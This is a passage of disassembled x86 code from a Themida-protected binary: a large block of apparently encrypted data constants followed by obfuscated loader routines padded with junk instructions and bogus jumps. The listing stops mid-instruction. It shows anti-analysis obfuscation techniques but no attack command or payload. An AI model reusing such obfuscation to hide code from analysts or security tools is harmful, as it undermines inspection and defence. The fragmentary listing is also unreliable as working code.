7C3A5256h, 3C61B930h dd 2BBEF25Dh, 57B13270h, 0ABB120BFh, 4E476256h, 0D632B69Ah dd 0BBB9F352h, 351AD775h, 0D6ED1388h, 0BC58C751h, 58B13256h dd 0ABB133DAh, 1232C756h, 0AF58CB42h, 894ECDA9h, 46F4BBAFh dd 5DB135BFh, 0C5259456h, 476FEE41h, 42BD47A9h, 0D5B13245h dd 86E74F4Ah, 5D00288Dh, 0A334FE9Ch, 4BB7A4F8h, 0CE54214Eh dd 0AB01EDD6h, 0A3C4CD37h, 0D5B6B959h, 66BE3256h, 75B13257h dd 0B1303DAEh, 0B4B13256h, 0AEB13250h, 19FF082Ch, 9C4E844Ch dd 0D5B6B559h, 66BE3256h, 75B13257h, 0B20DDAAEh, 56483256h dd 9A353D96h, 37B13256h, 0ABB139BEh, 6FE13356h, 76F5728Ch dd 0B9B92D44h, 0E4428559h, 5DB121BFh, 63B6F156h, 1BE6F1A8h dd 773BDB20h, 9A4C5F95h, 0E019AD8Dh, 76E4DB37h, 31493256h dd 3DD1CE13h, 0AEB1B359h, 0BED03256h, 0ABB13250h, 0EAB2062Dh dd 0D3D022B1h, 41333D51h, 0B5B13255h, 5DB133D9h, 0EB4ECE56h dd 9B3152AAh, 0AA313DECh, 20B13256h, 0EECEB137h, 4F353D56h dd 0B5B13256h, 5DB13ADAh, 0C84D5256h, 87D1D8D7h, 0A7CEB137h dd 0F7353D56h, 3B13256h, 75B1325Eh, 1C8E0E9Ah, 1DCF64A9h dd 0AEB1A1BFh, 50585256h, 41B13256h, 5EFE9F44h, 605E52Ah dd 8A4E8A37h, 53D1CDA9h, 5DB1325Bh, 0F7DA841Fh, 15A3C32Bh dd 459D3165h, 0DA4D52BCh, 8BD0EDE9h, 75B137EFh, 0BAA2DB56h dd 41F83256h, 139FDA0h, 0E01970CFh, 48F463A2h, 0BFA7AAA7h dd 121AC119h, 7592BA59h, 53D13256h, 5DB1325Eh, 59DE7C4Bh dd 65F7E74Ch, 0ABB13DBFh, 39311356h, 8DCB1E79h, 6713DCE2h dd 0F9BFBC83h, 0A337DB37h, 0A149CDA9h, 57B13DDFh, 0ABBBDB56h dd 0BA583256h, 1D07E8Eh, 75626586h, 0BFA14DD5h, 5DDFB659h dd 24BE3256h, 57B13257h, 0BBCEB1AAh, 0A8343D50h, 8AB13256h dd 0C778B3AEh, 0DBD2E5D3h, 0E4D75217h, 960EE528h, 36AD1B24h dd 0ABB6B259h, 5ABE3256h, 0EAB13257h, 71F6B9AEh, 0B6EEB9AAh dd 5DA1DA36h, 2A63256h, 5DD1495Bh, 9CD42C18h, 2EF79E0Ch dd 65BED007h, 75B13256h, 7B58530Eh, 52B13257h, 0AEB139D9h dd 0D8BE5256h, 0ABB13256h, 0B46BB930h, 1FB575DDh, 8DBD6DDDh dd 0BB2EDBAFh, 0E8D13256h, 0AEB8DB73h, 0AE5C3256h, 0AF792FCBh dd 0B412BF9Bh, 16B575DDh, 7ABD6DDDh, 0BAB12DD8h, 443D3D56h dd 47B13256h, 57B13242h, 0B264BDDEh, 0E3C4708h, 7C9C2713h dd 0E5C1796Dh, 0A0A4924Dh, 5260B936h, 0AEB131DEh, 8E3A5456h dd 0A3EE0937h, 0D579B759h, 0F9583256h, 25B13256h, 22BDC0C7h dd 0C20D593Dh, 174B6315h, 1D527ABDh, 0A4E3F631h, 0D5B134DAh dd 0E5485256h, 0FED0EBE9h, 32BE3601h, 5DB1325Ah, 0C40E5436h dd 573D3D20h, 0CAB13256h, 3CA1677Dh, 0EAB1325Eh, 0CADA6EF2h dd 0EC8B00BBh, 5DB13CBFh, 8F267D56h, 369B8B8Dh, 0B12BA78Fh dd 0D6B9128Ch, 61482603h, 0F0BE3E09h, 0BAB1324Eh, 5DB121BFh dd 0A7F5A956h, 0E7E3D5F7h, 5D4BDCEh, 21F9F4BCh, 0E380EEB6h dd 8D6B19AFh, 0B5B4D9D5h, 5DB137D3h, 24445256h, 58EB5399h dd 0ABB126DDh, 0D5BEDB56h, 0E4E93256h, 38C032F3h, 0E059D551h dd 19E037B1h, 0CF4D5289h, 57B178BFh, 0A0333D56h, 3CB13256h dd 0EAB13250h, 801C0239h, 0FD3A643Dh, 60045252h, 1C78B330h dd 83A530Dh, 0AA3A3D5Ah dd 29B13256h, 3B56D7Dh, 75B1325Eh, 0AD812B59h, 0A703E55Dh dd 57B4D9D5h, 4130B855h, 0A4443442h, 0D5B130DDh, 69D05256h dd 7AB22229h, 0BAB172D3h, 5C333D56h, 5BB13256h, 57A3DB36h dd 73AC3256h, 0EE1DD7DCh, 0C12EE64Fh, 0BFE3639Dh, 0A7067558h dd 1CD06A06h, 0AEB139BFh, 3E6A4356h, 676D1F7Dh, 0F60266C1h dd 0EAB6BE59h, 0F1BE3256h, 0BAB13257h, 0A56819AFh, 0AFB06EDFh dd 0A809CBAEh, 0A44ECDA9h, 0D5B135DAh, 55BE5256h, 146EB9A4h dd 0BAB137EFh, 0D0BE5256h, 0AEB13256h, 0AF1AC137h, 57ABDBAEh dd 0B44DCDA9h, 0EAB126BFh, 9CE15456h, 0CCC1F3CAh, 342FFE63h dd 1F6EB946h, 0B39AC8ADh, 0A658FBC9h, 67B13256h, 0A03936B3h dd 3D8CFB48h, 47A84043h, 52B12294h, 0AEB124D1h, 57A0DB56h dd 0D9EF3256h, 6412DE02h, 0B5DA8EA1h, 1D725BD5h, 0EFA76901h dd 5DB13EBFh, 372BB856h, 4D1E4151h, 21A8EB8Bh, 0DA5DB93Ah dd 0EAB133D8h, 0B132C756h, 0BB3B3DAAh, 0A8B13256h, 0AEB7BF59h dd 6D13256h, 0CAEF650Ch, 0DAE35236h, 0E5EEC8E9h, 75B12ADFh dd 0BAA3DA56h, 6E043256h, 0FB355CAAh, 1F178C29h, 93FF4E82h dd 35ECB031h, 0EA59530Fh, 2FB13256h, 3D5D8D7h, 5B58344Ch dd 44B13256h, 9E38F8A9h, 0B2303D30h, 0B5B13256h, 0EAB13DBEh dd 0B80D3356h, 0DD2AED83h, 0DB6568D9h, 0C7F6B2Ch, 3668B90Eh dd 0D29488DDh, 5DBE344Ch, 0EAB13251h, 75B0B859h, 89443256h dd 5DBCDB9Fh, 0CCCD3256h, 276A20F6h, 9FC857D6h, 568D44AFh dd 6EBE3269h, 75B13191h, 42B6B9A3h, 0B4BD47A9h, 0AEB1325Fh dd 0FEC01651h, 5E237F5Ch, 0DDC4CDACh, 0EAB13BBFh, 0AB223F56h dd 0E8D4394Bh, 3DE1FCE0h, 4BFD8C30h, 57B5B959h, 14D73256h dd 0B5D0680Ah, 0EAB7BF59h, 0F9BE3256h, 0BAB13256h, 5DB3B359h dd 0A2003256h, 5461DA37h, 0A4D13256h, 5CBEC8E1h, 0EAB13252h dd 0FBF8830h, 7ABAC737h, 5DFCB759h, 2FD13256h, 0AD5A9EB0h dd 780E3D7Fh, 0DA393D37h, 3B13256h, 75B1325Ch, 37C46C4Fh dd 70A4778Dh, 0A93A09C0h, 57B0B459h, 42483256h, 0D5B13269h dd 0EAA9BF59h, 66583256h, 1DB13256h, 0F70CAB46h, 2B7E9B4Ah dd 0EB8CA7ACh, 6FA843Fh, 5644D0F8h, 8CD12691h, 0E90CF9D7h dd 0DB4A8559h, 0A24E1CBFh, 0A63B3DA9h, 37B13256h, 12D730E0h dd 5CD07A6Fh, 66BECE13h, 75B13251h, 0BAB0B959h, 0A2443256h dd 22BE3E23h, 57B13257h, 0A3C4CDA3h, 0B586CDAFh, 0EAB3B259h dd 0AB3A3256h, 0B9ADDA37h, 0E7D13256h, 0AD7CF006h, 2751C3D7h dd 53D06A82h, 51BEF25Dh, 0EAB1321Dh, 75B121BFh, 0F1F19556h dd 405EA91h, 0B770E566h, 13CD18B4h, 0AC65F34Eh, 0D5B3BCBFh dd 0E63E3D56h, 9CB13256h, 0BAB13251h, 0E47AE1A6h, 0A188B96Ch dd 57B124DCh, 0A6585256h, 0C2B13256h, 0A5F1B9B5h, 0DC6C9852h dd 0D7089658h, 0D6D0CEDCh, 17D1CE13h, 4EA7F322h, 0ABB3BE59h dd 1A3A3256h, 0E5B60B37h, 75B374D4h, 0BABFDB56h, 0A4AE3256h dd 98A931A9h, 6503AD33h, 0BD08DDCFh, 0DA4D77A9h, 0EAB13ED3h dd 73353D56h, 0B5B13256h, 5DB132D9h, 0D132CB56h, 0D3BE3252h dd 0ABB13264h, 353052AFh, 825A0E21h, 75B13FBFh, 860BC856h dd 37E5C23Bh, 0EE56483h, 0D4D02802h, 0A4B13E29h, 0D5B13FD2h dd 0EB313D56h, 8CB13256h, 0BAB16ABFh, 0A209C756h, 474ECDA9h dd 57B13244h, 0A5574534h, 0A78DE33Dh, 0BDE9EB0Ch, 0D6BC56DDh dd 0BF08BFF6h, 0B4B13256h, 0AEB13250h, 2D958804h, 423879h dd 0D5ACB759h, 64BE3256h, 75B13241h, 0BAB120BFh, 0B055D356h dd 0EDAFB6EFh, 90B93210h, 96CBF59h, 3C2DEA49h, 154ECCFDh dd 65CEB1A3h, 2A353D53h, 3DB13256h, 2CDB8830h, 8A38DAD7h dd 28D03C55h, 0DAB72229h, 0EAB1BFD3h, 79383D56h, 0B5B13256h dd 5DB134DEh, 0AE333D56h, 37B13256h, 35B030EFh, 0B5F0532Eh dd 376B930h, 75B1325Ah, 2757664Ah, 411CD302h, 0B9FD94ACh dd 57A0DB37h, 4A53256h, 7D6F9623h, 0A6EB95h, 25E6A5D3h dd 31C444E6h, 0D7BE3611h, 0AEB13257h, 5BEEB9AAh, 0ABB4B159h dd 55D13256h, 3D054B3h, 75B132CCh, 0BABFDB36h, 18163256h dd 0AF55B7AFh, 0C2B481E0h, 0C3801F68h, 5ED0E4DDh, 61483611h dd 9C483E09h, 0BAB13225h, 32085436h, 0E93A5324h, 443B3D52h dd 42B13256h, 0D5B13258h, 6C696B5Ah, 0AE4AB2F0h, 19F87DEDh dd 23A3D2Ah, 0F19ACE5Ah, 443D3D52h, 0A4B13256h, 0D5B13FD0h dd 0EAB9DB56h, 2BB53256h, 0E317F32Ch, 0B632E934h, 0C8D1CB53h dd 32F9F9D7h, 0E643B330h, 0AA3253C9h, 6FBE3146h, 75B13241h dd 0BB3E3DAAh, 0A5B13256h, 0A6323D17h, 58B13256h, 0ABB130DFh dd 0FED05256h, 0B638CA8Fh, 0CD443357h, 454ECDA9h, 5808CAAAh dd 0CEB13256h, 57B123BFh, 60026E56h, 530CAF0Fh, 0C104F7A7h dd 0C81693Fh, 0B459171Fh, 5CB13256h, 8F84AF77h, 49A164DFh dd 0A7A428E1h, 92A089D3h, 8BEB129Eh, 75B6B959h, 3ABE3256h dd 5DB13257h, 521AC1A3h, 0A84C04BFh, 0BB323DA9h, 3CB13256h dd 0EAB1325Dh, 0CA9257h, 0A54668CEh, 3C424E91h, 0AEB6B659h dd 58D13256h, 0B801C0E9h, 5ABEFB37h, 0EAB1325Ch, 75B137BFh dd 0E2A6F556h, 55735523h, 0BA323D56h, 0BEB13256h, 0ABB13259h dd 46EEC922h, 0CAFE2E06h, 97FBA621h, 0DAA57E2Bh, 5DB123BEh dd 26124756h, 0C8A48D75h, 0E3660334h, 0E46AEBF9h, 0B0487898h dd 0DEC0A4EFh, 53E45306h, 5DB13247h, 6FC925B1h, 888662E2h dd 9B98F49Bh, 5882251h, 35DB9E3h, 75B13242h, 7C6ED867h dd 2482127Dh, 0D3FB23ACh, 662114F2h, 3A02B0C3h, 0DA4DF6D5h dd 0EAB133D6h, 1549CA56h, 0BAB0BF59h, 0D6493256h, 0A1D13A13h dd 57B128D6h, 0ABA5DA56h, 83723256h, 0C551AFCCh, 5A00D986h dd 5FDFC0Dh, 0D1BC5D92h, 16EF8FF9h, 570EAE5Fh, 0A7F40937h dd 0D5EDB059h, 0E5583256h, 0CB13256h, 793C5F05h, 748FCBFAh dd 3722C48Eh, 128A24F8h, 94363D46h, 0B5B13256h, 0EAB13FBFh dd 0F1F12856h, 26F402E1h, 0A3DC180Bh, 45300035h, 335C9557h dd 57F4F537h, 0D5B13256h, 0EAB121BFh, 6A965856h, 95092661h dd 514F3E8Eh, 0F45E9672h, 2EC8B262h, 0ABB12EBFh, 9076CB56h dd 0EAB133AAh, 7B58CB56h, 53B13256h, 5DB1325Fh, 1553229Ch dd 0F1E7382h, 29BE538Bh, 0D5B1324Fh, 0EABADA36h, 1F583256h dd 0ADF91DFEh, 440F9AC5h, 23BE6C27h, 57B13256h, 57F4B937h dd 0D5BCB859h, 0E2583256h, 39B13256h, 0D8025784h, 9497FE2Bh dd 0AEB138BFh, 3BC37456h, 0FD876961h, 17162761h, 0F858325Ah dd 0C1B13256h, 0D30631BAh, 0FB2C6A39h, 294F9B7Bh, 4D3F1BDAh dd 0F9D16720h, 0B4486AAEh, 0EAB139BFh, 11B87356h, 4AFBE08Dh dd 838ED69Dh, 0BE58DEDDh, 43B13256h, 0B40490Ah, 0B6C0CC5Dh dd 73755319h, 0F6AEED6Fh, 0A958CE92h, 83B13256h, 63B77D84h dd 10A167D1h, 91524A4Fh, 78E8896Bh, 13D170D2h, 75B132BEh dd 50306856h, 5BAB8DD0h, 0AEBBBC59h, 58D13256h, 0ABB132DDh dd 0B44BB956h, 0EAB13BBFh, 0B5CE2556h, 462C7D3h, 94823AC4h dd 0AEB13DBFh, 2BFAE556h, 0A2DC8541h, 0E336AA6Eh, 96C268Ch dd 0FCBEE965h, 0BAB13251h, 5DB0B159h, 27493256h, 0DC44CE0Bh dd 0B1C817ECh, 25305250h, 87B2D5B9h, 758EB137h, 0B8CBB659h dd 5B583256h, 0CEB13256h, 2BB33A6h, 548EB1F3h, 0D58FB759h dd 62BE3256h, 75B1325Ch, 0AE0E5436h, 6508548Ah, 69325321h dd 57B6DB42h, 0EEE63256h dd 1394B4FFh, 150EDB67h, 9DD1CDA9h, 0BAB1325Bh, 8253BE9Ch dd 8605EB18h, 58F26FA1h, 4830547Fh, 0B4EEF7F7h, 0EAB54DD5h dd 758DB659h, 37BE3256h, 5DB1325Ah, 0AEB7BC59h, 0D8BE3256h dd 0ABB13256h, 0D5B13FBFh, 9BDF956h, 73EF4AF8h, 0A6012478h dd 2232BFF9h, 2ABE325Ah, 57B13258h, 0CAD16536h, 0B475820Ch dd 0EAB102BFh, 304ECA56h, 0BAB8DBAAh, 0D1263256h, 0F7666A0Fh dd 0D4FCD1D7h, 0A7582691h, 0ECB13256h, 0E7D311ABh, 0F5AE2837h dd 0DA2CA12Ch, 0B4D0F8E7h, 514ECD67h, 47CEB1A3h, 31353D53h dd 3CB13256h, 0EAB13259h, 0FFE4139Fh, 9DF56B26h, 9A7D1EDFh dd 0CE2ACB15h, 560AEBDDh, 0CA924ACDh, 0D3A14DD5h, 0EA26B759h dd 34483256h, 0B2585236h, 0E1B13256h, 4CE2CAE1h, 3627A3BAh dd 20D0F5DDh, 0DA493611h, 0EAB116DAh, 7E585256h, 5EB13256h dd 0CD1C9F6Eh, 0F83583E8h, 5B59AAF3h, 81B13256h, 0CFA120E9h dd 0EEA9238Eh, 2A56DB4Bh, 0B6EEB937h, 5DB122BFh, 0C072B556h dd 4CA52A57h, 819CD382h, 0C4074D4Bh, 2458CE58h, 7AB13256h dd 0BAB13ED2h, 5B3A3D56h, 0A1B13256h, 57B132D6h, 0AFF6B956h dd 0D9EEB9AEh, 0EA1DDBAFh, 67583256h, 0BCB13256h, 8D825BC5h dd 5D3DC3F9h, 0AA67DD86h, 349A01BCh, 0D1F6B96Eh, 0EAB13DBFh dd 13DD656h, 3CC103D3h, 969BF958h, 7F6127E0h, 57B13FBFh dd 75943C56h, 3B78B329h, 0ADA5460Bh, 2A3AAB3Bh, 0BAB7DB5Ah dd 5E513256h, 8096615Dh, 0BEB56D7Dh, 0ABB13253h, 7F73B771h dd 0EF5AB17Dh, 75B9DB36h, 767D3256h, 0DCFD431h, 2DD0C0C7h dd 58B22229h, 0ABB107D3h, 0D93E3D56h, 0E5B13256h, 75B134DEh dd 0BA393D56h, 1CB13256h, 0B53E3DAFh, 37B13256h, 0ABB126BFh dd 417F0156h, 15D06AA5h, 303B0AADh, 69754138h, 0B4330909h dd 779A5388h, 56EDBBAEh, 0ABA2DB57h, 0A6963256h, 0BE9DC319h dd 91964B60h, 5A2D608Dh, 450DA462h, 514E8A9Fh, 0D2BECDA9h dd 0ABB13257h, 0D5B48BAFh, 6AD13256h, 7F5946BBh, 1AB13256h dd 120814B9h, 526E12B1h, 872B94Ch, 0A41AC137h, 0D5B133D1h dd 9458C756h, 894ECDABh, 0B3323D37h, 3DB13256h, 0B943B3AFh dd 36C108B8h, 0A44D77DDh, 0D5B139DEh, 0EAB7DB56h, 3FE63256h dd 3E8D3195h, 5DBADB9Fh, 603C3256h, 0DCD4A818h, 1660A884h dd 8549F184h, 0EAB7B159h, 13D13256h, 0DB9537E8h, 5DB7DB07h dd 2EF33256h, 6D8E1251h, 0AB59CA05h, 8FB13256h, 280DD8D7h dd 0F7BE344Ch, 0BAB1325Ch, 5DB137BFh, 7933A356h, 0D5BE80F5h dd 0ABB1325Eh, 0D5B3BF59h, 8BD13256h, 7F2BBFAAh, 53B7282Ch dd 5DB1325Ch, 4EA434B1h, 0A1575D61h, 0CF0964F7h, 3CB13256h dd 0EAB1325Bh, 0C10F2FF5h, 0AF39A781h, 76DEC064h, 0AA20DAEDh dd 0DC493256h, 0A7313D5Dh, 0B5B13256h, 176BB330h, 823054EFh dd 0DAD08865h, 96063DA3h, 56700937h, 57FEDBAEh, 0A8483256h dd 0B549361Dh, 8C7F8D59h, 6824D4D7h, 0B5700937h, 5DB151D4h dd 0E5B2C756h, 0B9315246h, 5C0E3D2Fh, 0DA700937h, 0EAB135D4h dd 6758C756h, 43B13256h, 5DB16BBFh, 17E15256h, 7ACAA023h dd 0F448630Ch, 0D5F9DB37h, 66BE3256h, 75B13257h, 6C2BBFAEh dd 0A4B72913h, 474DE1A9h, 57B13264h, 0ABA7B559h, 5CBE3256h dd 0EAB13246h, 75B139BFh, 8D72AC56h, 5145768Eh, 0EF86108Ch dd 1F4DA8DBh, 5449344Dh, 0D23D3D85h, 0E5B13256h, 75B133D5h dd 0DAEACB56h, 0EE9DE6ECh, 0AA0E5426h, 0BEE85372h, 0ABB1325Ah dd 8C572AC5h, 9D990674h, 15A3DD5Ah, 32BE520Eh, 5DB13254h dd 17D7F1DCh, 94D02B02h, 0ABA0B959h, 0D9583256h, 16B13256h dd 0CEFB8D44h, 8F717DEAh, 8251220h, 70063D36h, 0DCD0DCDCh dd 0A0303DBAh, 3CB13256h, 0EAB13250h, 8A4D804Fh, 0BA59587Ah dd 7B13256h, 6A9DD8D7h, 0D0BE344Ch, 0ABB13243h, 0D5BFDB36h dd 50533256h, 1C19E602h, 0EA06EDCh, 0A400FF36h, 563A5237h dd 0EFD75237h, 50BE643h, 0B4C77954h, 0E7393D36h, 9CB13256h dd 0BAB1325Eh, 6BADBBE1h, 16338AC7h, 2DBB88DBh, 29BE344Ch dd 0D5B1325Eh, 0EAB3BF59h, 14D13256h, 0DAB977DDh, 5DB139BFh dd 42E3F956h, 407B67B7h, 4606A5B3h, 5266FAD7h, 1FD04AA2h dd 0FFD135DFh, 46D15391h, 5DB121BFh, 19852D56h, 4EDAC436h dd 35D9932h, 81C52F67h, 0B3001FE8h, 79F4B937h, 0BABBDBAFh dd 0EA03256h, 0BD5BEF13h, 82918FA9h, 0CBB575DFh, 0D5B4B059h dd 6BD73256h, 1387C990h, 0DB341AEFh, 0B4A177DDh, 0AEB1325Eh dd 629D7264h, 0E180AD6Ch, 0B5BD75DFh, 0EAB120BEh, 0ABB7BC56h dd 0F87AD44Ch, 6C6FEDA4h, 0F363862Dh, 0AEAB1966h, 1CBE640Eh dd 0DAD06DA9h, 0EAB13CDEh, 75B8DB56h, 0C0AE3256h, 0F532A2DEh dd 250C4758h, 0EED12613h, 0FDA44BD6h, 0C5F6BB37h, 0EAB139BFh dd 9DC28056h, 0F81B51A0h, 7526328Dh, 19BE5237h, 9E063D80h dd 20BEFB37h, 0D5B13240h, 0EAA1B959h, 7E583256h, 0D4B13256h dd 30C506B8h, 6BD90CEh, 4773F187h, 20D15256h, 0D5B7DB88h dd 0D1133256h, 0F976DD31h, 0DAD15337h, 5DB3BB59h, 0F0E23256h dd 91D0FDDDh, 0BFAB6BD3h, 5CBE7550h, 0EAB13251h, 13D05236h dd 4FD0CCDDh, 4AC2283Eh, 300F52FEh, 5E7331Fh, 0ABB13DBFh dd 0BD751856h, 0E0138408h, 0F2BCB2DEh, 57424543h, 0E84E5309h dd 0A8A52887h, 57A2BD59h, 27BE3256h, 0D5B1325Bh, 0EAB13ABFh dd 0BCCF4356h, 5252348Bh, 8634BF10h, 0CEB725D6h, 0DD7A8D59h dd 7B4E53B3h, 584960AEh, 0F0CA8FDCh, 72303D50h, 0B5B13256h dd 5DB133D1h, 0FF48CB56h, 57BBDA36h, 0B4703256h, 569BE177h dd 459B351Ch, 75B135BEh, 42051B56h, 8E0860F0h, 47D06C09h dd 57B13247h, 3F1F1585h, 4103D345h, 1F6DB651h, 602B6CF2h dd 4661CDDAh, 983B520Ch, 1333BF37h, 58B7282Dh, 0ABB133D3h dd 62BEC756h, 3D13E16h, 75B13246h, 5D5BDBC0h, 0F0DDC203h dd 46D0396Fh, 710AB612h, 0CA67B930h, 3C44EADDh, 0EAB13247h dd 0F9AF257Bh, 0A5F096C0h, 2E04AFF7h, 51F49783h, 584D60A9h dd 0ABB133D7h, 0E4BECB56h, 0EAB134BFh, 0E82DB756h, 0E08459D4h dd 0A87231AAh, 8390B0DFh, 0BED13442h, 0ABB13251h, 650803BAh dd 8CBF53EFh, 0CDA9C4D7h, 0E8D15337h, 3BEEC0DDh, 0CF2A3DEDh dd 563E3D95h, 0FCB13256h ; =============== S U B R O U T I N E ======================================= sub_5B52B8 proc near ; CODE XREF: Themida_:005B5409p ; DATA XREF: Themida_:0054AD4Co push ecx clc push edx jg loc_5B52C2 cmc loc_5B52C2: ; CODE XREF: sub_5B52B8+3j call $+5 pop edx sub edx, 61AC6E8h jz loc_5B52E0 jns loc_5B52E0 jl $+6 loc_5B52E0: ; CODE XREF: sub_5B52B8+16j ; sub_5B52B8+1Cj jge loc_5B52F0 jmp loc_5B52F0 ; --------------------------------------------------------------------------- db 0AAh dd 0DA2EC2A1h ; --------------------------------------------------------------------------- loc_5B52F0: ; CODE XREF: sub_5B52B8:loc_5B52E0j ; sub_5B52B8+2Ej push edx stc jns loc_5B52FE pusha pusha popa mov cl, 7Eh popa loc_5B52FE: ; CODE XREF: sub_5B52B8+3Aj mov eax, [edx+6142D21h] stc jo loc_5B5316 jmp loc_5B5316 ; --------------------------------------------------------------------------- retn 147Eh ; --------------------------------------------------------------------------- db 51h db 0E5h, 21h ; --------------------------------------------------------------------------- loc_5B5316: ; CODE XREF: sub_5B52B8+4Dj ; sub_5B52B8+53j mov ecx, 41C64E6Dh jnb loc_5B5322 cmc loc_5B5322: ; CODE XREF: sub_5B52B8+63j mul ecx pusha jnb loc_5B5330 sbb ax, 2AB8h loc_5B5330: ; CODE XREF: sub_5B52B8+6Dj mov di, 603Eh popa pop edx jmp loc_5B5348 ; --------------------------------------------------------------------------- db 92h dd 75257F22h, 2B49C7A2h, 500A5ACDh ; --------------------------------------------------------------------------- loc_5B5348: ; CODE XREF: sub_5B52B8+7Ej add eax, 3039h pusha mov bx, 0B58Dh mov ch, bl popa and eax, 7FFFFFFFh cld mov [edx+6142D21h], eax cmc pop edx pusha xor esi, 481E0CCEh popa pop ecx stc retn sub_5B52B8 endp ; --------------------------------------------------------------------------- jno loc_5B5383 jmp loc_5B5383 ; --------------------------------------------------------------------------- db 8Dh, 1Bh db 8Fh dd 6EB0F8CEh db 30h, 12h, 4Bh ; --------------------------------------------------------------------------- loc_5B5383: ; CODE XREF: Themida_:005B536Ej ; Themida_:005B5374j ; DATA XREF: ... push ecx pusha jmp loc_5B539D ; --------------------------------------------------------------------------- dw 1BE8h dd 9A12F958h, 8E7C9491h, 4D0D9697h, 0BDE963CBh db 7Ah ; --------------------------------------------------------------------------- loc_5B539D: ; CODE XREF: Themida_:005B5385j popa push edx pusha call sub_5B53B5 inc ebp movsd jnz short loc_5B53CB cmp bl, cl sub al, 96h add al, 3 iret ; --------------------------------------------------------------------------- dd 0FEA8D33Fh db 70h ; =============== S U B R O U T I N E ======================================= sub_5B53B5 proc near ; CODE XREF: Themida_:005B53A0p pusha popa pop edi pusha call near ptr loc_5B53C7+1 cwde mov edx, 0AC336552h mov [ebx], ecx xchg eax, ecx loc_5B53C7: ; CODE XREF: sub_5B53B5+4p cmp ebx, [ebx+61h] sub_5B53B5 endp ; sp-analysis failed popa loc_5B53CB: ; CODE XREF: Themida_:005B53A7j call $+5 pop edx sub edx, 61AC7F1h jmp loc_5B53E7 ; --------------------------------------------------------------------------- dd 0BCCBA816h, 7A9CECFFh db 77h, 0EEh, 0C3h ; --------------------------------------------------------------------------- loc_5B53E7: ; CODE XREF: Themida_:005B53D7j jmp loc_5B53FC ; --------------------------------------------------------------------------- dd 6EF82C55h, 6133A8h, 3A13B7DDh, 7C54424Dh ; --------------------------------------------------------------------------- loc_5B53FC: ; CODE XREF: Themida_:loc_5B53E7j pusha mov edx, 7505BD7Bh movsx ebx, si popa mov ecx, eax cmc call sub_5B52B8 jns loc_5B541C jno loc_5B541C pusha popa loc_5B541C: ; CODE XREF: Themida_:005B540Ej ; Themida_:005B5414j pusha jmp loc_5B5435 ; --------------------------------------------------------------------------- dw 0B205h dd 98BBF630h, 249BCEB0h, 0EC226185h, 15F3BFD1h db 0EBh ; --------------------------------------------------------------------------- loc_5B5435: ; CODE XREF: Themida_:005B541Dj mov si, 0DEAh popa xor edx, edx stc pusha add dx, 8C8Ah popa div ecx pusha movzx ebx, ax movsx eax, si popa mov eax, edx jmp loc_5B5462 ; --------------------------------------------------------------------------- db 21h, 0B6h, 13h dd 0A2D2C30Bh, 0F09435CEh db 15h, 2Ah ; --------------------------------------------------------------------------- loc_5B5462: ; CODE XREF: Themida_:005B5450j pop edx pusha movzx edi, bx popa pop ecx cmc retn ; --------------------------------------------------------------------------- stc mov eax, eax jmp loc_5B547D ; --------------------------------------------------------------------------- db 0FFh dd 0C0EDB50Fh, 85A17723h ; --------------------------------------------------------------------------- pushf loc_5B547D: ; CODE XREF: Themida_:005B546Ej mov eax, eax pusha mov dl, 41h jz loc_5B548E add esi, 6D5D8AD4h loc_5B548E: ; CODE XREF: Themida_:005B5482j popa lea eax, [ebp+61A91DDh] pusha jnz loc_5B549E mov al, bl loc_5B549E: ; CODE XREF: Themida_:005B5496j mov ax, di popa call eax stc jmp loc_5B54B5 ; --------------------------------------------------------------------------- dw 8E8Ch dd 83A40867h, 0A88DF01Ch db 0E8h ; --------------------------------------------------------------------------- loc_5B54B5: ; CODE XREF: Themida_:005B54A5j mov ax, cx jns loc_5B54C5 jl loc_5B54C5 cmc loc_5B54C5: ; CODE XREF: Themida_:005B54B8j ; Themida_:005B54BEj lea eax, [ebp+61AC6D9h] jmp loc_5B54D5 ; --------------------------------------------------------------------------- dd 146ACD3Bh db 2Dh ; --------------------------------------------------------------------------- loc_5B54D5: ; CODE XREF: Themida_:005B54CBj mov [ebp+614216Dh], eax jmp loc_5B54ED ; --------------------------------------------------------------------------- dd 5F7E8F4Bh, 0BF98C03Ch, 53D65D30h db 0C0h ; --------------------------------------------------------------------------- loc_5B54ED: ; CODE XREF: Themida_:005B54DBj lea eax, [ebp+61AC7A4h] stc mov [ebp+6142C25h], eax stc mov eax, 0 jb loc_5B5517 jmp loc_5B5517 ; --------------------------------------------------------------------------- db 0F0h dd 68F091BEh, 74699AFAh db 80h, 0B9h, 11h ; --------------------------------------------------------------------------- loc_5B5517: ; CODE XREF: Themida_:005B5500j ; Themida_:005B5506j or eax, eax jz loc_5B5672 clc mov byte ptr [ebp+6141A59h], 56h pusha popa push 0A9C530DFh pusha sub bx, 97Ah sbb ecx, 42B84CF0h popa push dword ptr [ebp+6141AD1h] jb near ptr loc_5B555D+4 pusha js $+6 call near ptr loc_5B555D+2 pop eax db 65h inc ecx into pop edx dec ebp bound eax, [edi] jb short loc_5B5580 loc_5B555D: ; CODE XREF: Themida_:005B554Ep ; Themida_:005B5541j imul esp, [ebx-7A729EA5h], 61780DBh jmp loc_5B557D ; --------------------------------------------------------------------------- dd 0F51E9EBBh, 9A2E821Eh, 44357E45h, 0A24008F3h db 24h ; --------------------------------------------------------------------------- loc_5B557D: ; CODE XREF: Themida_:005B5567j call eax pusha loc_5B5580: ; CODE XREF: Themida_:005B555Bj mov cl, 0CFh add edi, 25E2942Ah popa push eax jmp loc_5B55A2 ; --------------------------------------------------------------------------- db 6Fh dd 0E9653017h, 192DD69Fh, 64601586h, 53FFC980h db 5Bh, 0E2h ; --------------------------------------------------------------------------- loc_5B55A2: ; CODE XREF: Themida_:005B558Aj jo loc_5B55B4 jle loc_5B55B4 jg $+6 loc_5B55B4: ; CODE XREF: Themida_:loc_5B55A2j ; Themida_:005B55A8j lea ecx, [ebp+6140095h] pusha mov bx, 0B3D9h mov ax, 0F5AAh popa push ecx js loc_5B55D0 pusha mov si, bx popa loc_5B55D0: ; CODE XREF: Themida_:005B55C5j jo loc_5B55E2 pusha mov di, 0Ch adc eax, 3AE48508h popa loc_5B55E2: ; CODE XREF: Themida_:loc_5B55D0j push 4 pusha movsx edx, di push ebx stc pop esi popa push 1000h pusha mov di, 0AE92h push esi pusha popa pop eax popa push dword ptr [ebp+61424F9h] jo loc_5B5608 cmc loc_5B5608: ; CODE XREF: Themida_:005B5601j call eax jmp loc_5B561F ; --------------------------------------------------------------------------- db 11h ; --------------------------------------------------------------------------- cdq mov word ptr [ebx-470C8BEEh], ds test [edi+4Dh], ch and eax, 